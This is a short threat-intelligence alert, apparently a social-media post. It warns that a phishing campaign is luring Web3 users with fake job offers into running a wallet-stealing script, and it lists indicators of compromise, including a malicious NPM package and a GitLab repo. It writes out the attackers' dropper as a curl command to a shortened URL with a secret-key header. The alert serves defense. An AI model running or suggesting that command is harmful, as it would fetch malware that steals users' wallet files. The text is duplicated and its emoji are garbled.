๐จ Security TI Alert ๐จ
According to community partner @1nf0s3cpt, an active phishing campaign is targeting Web3 users with fake job offers (e.g. $120/hour) to trick them into executing a malicious script that steals wallet files.
๐ Key IOCs:
๐ธGitLab repo: https://t.co/ivGN93PS4b
๐ธDropper: curl https://t.co/fwRuktoVd9 -H "x-secret-key: _"
๐งช The attack method is very similar to the previous Lazarus use of NPM packages to spread malicious code:
https://t.co/bBC4i2vYpA
๐จ We found that a new malicious NPM package was just published:
https://t.co/SjgmO1FOIL
๐ธLikely linked GitHub: apollo-hero
๐ธUploader email: skelstar125@gmail.com
โ ๏ธ Do NOT install or run unknown packages or scripts. Always verify sources.
#LAZARUS #Phishing
According to community partner @1nf0s3cpt, an active phishing campaign is targeting Web3 users with fake job offers (e.g. $120/hour) to trick them into executing a malicious script that steals wallet files.
๐ Key IOCs:
๐ธGitLab repo: https://t.co/ivGN93PS4b
๐ธDropper: curl https://t.co/fwRuktoVd9 -H "x-secret-key: _"
๐งช The attack method is very similar to the previous Lazarus use of NPM packages to spread malicious code:
https://t.co/bBC4i2vYpA
๐จ We found that a new malicious NPM package was just published:
https://t.co/SjgmO1FOIL
๐ธLikely linked GitHub: apollo-hero
๐ธUploader email: skelstar125@gmail.com
โ ๏ธ Do NOT install or run unknown packages or scripts. Always verify sources.
#LAZARUS #Phishing
